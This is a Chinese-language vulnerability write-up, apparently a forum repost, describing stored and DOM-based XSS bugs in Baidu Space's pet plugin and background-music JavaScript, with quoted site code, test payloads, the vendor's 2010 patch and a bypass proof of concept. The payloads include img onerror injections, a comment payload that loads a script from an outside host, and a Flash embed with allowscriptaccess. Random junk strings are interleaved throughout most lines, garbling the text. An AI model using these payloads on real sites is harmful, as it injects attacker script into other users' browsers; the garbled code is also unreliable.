百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. . K* @4 z( g8 k i
( Z8 P9 b8 @% s5 Z* S1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. + X1 L% A4 R* w3 f# ?) a
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
/ k& n- E( K2 F+ o
4 O1 M" i- [9 Y3 c. B将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
/ D X$ |8 c$ W' U& d其中BdUtil.insertWBR为
) t8 ~0 H( M& S6 N8 ofunction(text, step) {
* {) E( E Z! o0 |$ t; j var textarea = textAreaCache || getContainer(); - h! \& s, x1 a; \) j7 X! [. _
if (!textarea) { 7 b9 j- f% s3 R6 C
return text; 4 l' ^: g3 d/ l/ a( Q
} " d9 w8 X! z$ S
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
0 J9 e; q* k1 ~8 Q var string = textarea.value;
/ W* d/ I( M6 E: C var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
/ E- B* o5 M1 ]/ t8 B7 J var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
, M7 q* B ^! W# {3 `- N; o return result; * D# j: o- Y! Z( d! U
} . a7 R/ j) D/ {2 x9 C9 b: e
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
( k6 M. i7 ?6 r+ ?1 ]! @测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ) M! _$ S$ N6 S4 l5 ~
) U% q6 n5 u* j/ Z% z二:creatbgmusic() Dom-Xss Bug
2 A, D' O3 r: I2 N1 [, q百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 , R }; s F2 u
1 M# @0 h6 P- _+ F
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
- ?: p# {/ D4 p
, U& |9 ]4 H/ W+ ], \function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
2 w3 \. L( h' g //传入的murl赋值到bgmusic1和bgmusic2中
: z" d" o/ n' V; o. M# Z7 U! l% d //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- t" M7 E& [! d var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
# V. Y& [9 y& e0 ~+ d if (musicnum <= 1) {
* V# e# T- F) l8 W5 e4 l% t bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
1 @$ M' G6 T& T } $ N4 f, D3 f6 f b* R. W8 s
bgmusic1 += "</OBJECT>";
+ A/ q# h% H! D6 T/ X8 A var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
7 T7 L7 e; e- t, ?) Q8 ] if (musicnum <= 1) { ( h1 o9 ^) `/ ^: S5 j4 h4 U
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; - G# Y3 ]% t( R. r( O8 L w
} ! G7 c6 q( N; I& \- b8 T& f# `
bgmusic2 += "> </EMBED>"; + J. S7 W( U5 L$ \
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
/ o/ C; p1 d y* A! d9 n+ s var bgmus = detectWMP(); * [, v+ G9 r0 }3 ?5 Q0 o7 ^6 v
if (functype == "FckMusicHelper") {
: ?1 p( H, {7 v6 R% j( K if (bgmus.installed) {
9 N4 y! ?' P9 m- Z8 S' c. U9 Y if (bgmus.type == "IE") { & \: }: L5 o' g. U$ F2 [& F& p5 y
return bgmusic1; 8 U1 d- `$ l) [
} else if (bgmus.type == "NS") { $ E* I. w+ D1 F& } Z9 w
return bgmusic2;
, l6 }; `1 `/ [ } / J* q K$ E1 I" ?
} else {
0 L3 z( C- H+ t: H return bgmusic3; / D3 o9 e. @( C! w$ q* `
} 9 C' o2 Y; d7 z+ m: S8 R
} else {
* i! F: J. b7 O! M6 c) q& c; f if (bgmus.installed) { 8 U% A3 A7 ]0 C
//document.write 直接输出bgmusic变量 导致xss
u( ^; n- n0 ^4 B6 W1 V) q# C" { if (bgmus.type == "IE") { 9 i) g" Y- z9 a( G6 W- B" F" G
document.write(bgmusic1); 3 ~5 x" W& i& G$ I0 K/ o" f
} else if (bgmus.type == "NS") { 1 ] J& ]. M8 l# o& `
document.write(bgmusic2);
% `; u+ C! U4 S: ^ }
8 {5 n$ }0 p/ I8 q! l5 b, u } else {
5 X8 r' j1 J4 z0 ~2 Y document.write(bgmusic3); , V4 Z4 B9 h, I
}
+ p1 _/ T6 L; I: G& p& Q return ""; 3 }/ M# c+ f) Z+ ?+ }% V
} 5 ^; V; D/ S1 D( U% A
} ; p/ l- }4 C: X: o
4 H1 {: R8 r% }4 R& @' ^
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
& a) H( f2 g1 A# D( M4 ~5 i( k# I, |+ `: ]0 Z1 N
function initBlogTextForFCK(){ 3 f- K9 `9 g7 P) Z/ r& v
//fck init music 9 n3 s, d8 R; Z/ ~8 U
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} % z; [7 l3 M/ e5 p
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 3 l" d6 J8 {7 @& s
var isAutoPlay=true; 1 _+ ] h. n9 K/ s D9 e9 W5 g; J
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. - _$ T0 z7 t p, [/ _; G
var img=imgBox;
& _+ o/ h3 D4 \: g! f6 T if(img.getAttribute(’rel’)){
5 ^, h* P+ `* d- m- u) l var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
3 q2 ?$ t/ Y M/ @+ ] var musicDiv = document.createElement("SPAN");
1 v* d# d, ^9 i. x: N) `3 y var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
3 U p( R. [2 Y6 m- f' n4 ~ ; [1 I% `; {) w1 d+ ]2 r' m1 \
..........................
# Q' R: y5 a; X% e8 g A9 R 0 f( c" Q0 d' @5 A* V7 G$ e! X
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. & ^! I/ O: ~7 |5 {; B D9 N
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
9 r1 f6 A# J9 d shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); . |# J. B8 f* s" }$ r( X0 R
musicDiv.innerHTML=shtml; / X: }! a) p* `4 G/ G. v
i--;n--;
1 W7 E! C6 j7 r* W8 s8 P" V }
; c! T# p5 w. L b0 w* g} " R% y( B6 E: z& c( t& M
) i$ g+ R7 w) |+ K+ s( }7 p
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
" w# L0 Z5 X( J, k- F! I3 n
3 Q, v: G; t8 H M* T9 x测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> % `* B1 w4 z' c
& T& S' ~* I! B' \7 [- {# n
等待官方补丁 # ]- m9 C: X4 ^" h/ O
+ ?& `% S" y% [0 K6 f" Lupdate 2010年5月13日 . W% B$ b9 F, n: o: ~' F
& m, f2 T: ?; R( h& m官方补丁:
0 [3 g R; |, R' t& P* A3 n0 A; n6 Y( j% O5 o1 U+ ?3 V4 w: T: N
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ' K5 q. X" ]! z3 A$ u9 q) f2 g
改为:
0 X1 e3 q: C! i) P3 a1 O* mvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ) x; I7 y; v* @8 a2 G
1 r& I# x' s$ L: f1 \' lupdate 2010年5月13日 21:50:37 2 l0 o1 K5 U: [5 l7 \9 c0 z4 c& D
' c" E. o5 l0 l9 `( y) N补丁存在漏洞 没有过滤" 可以继续跨: ) `! S/ X: U, |) y
; @) V) Q& `% M' C7 R) k3 ~
NEW POC:
' A0 _% B/ J8 j6 |; {) s: E
( H- C5 ?; [9 @' [: r: w) r<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 4 ^, Y/ E. X( |0 w1 o8 @+ w4 E! ^& N
* D1 B% c, p7 f3 O! I
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; D; [& `; B8 G8 q. y; d 3 U+ @- }9 ]! V. z. z
|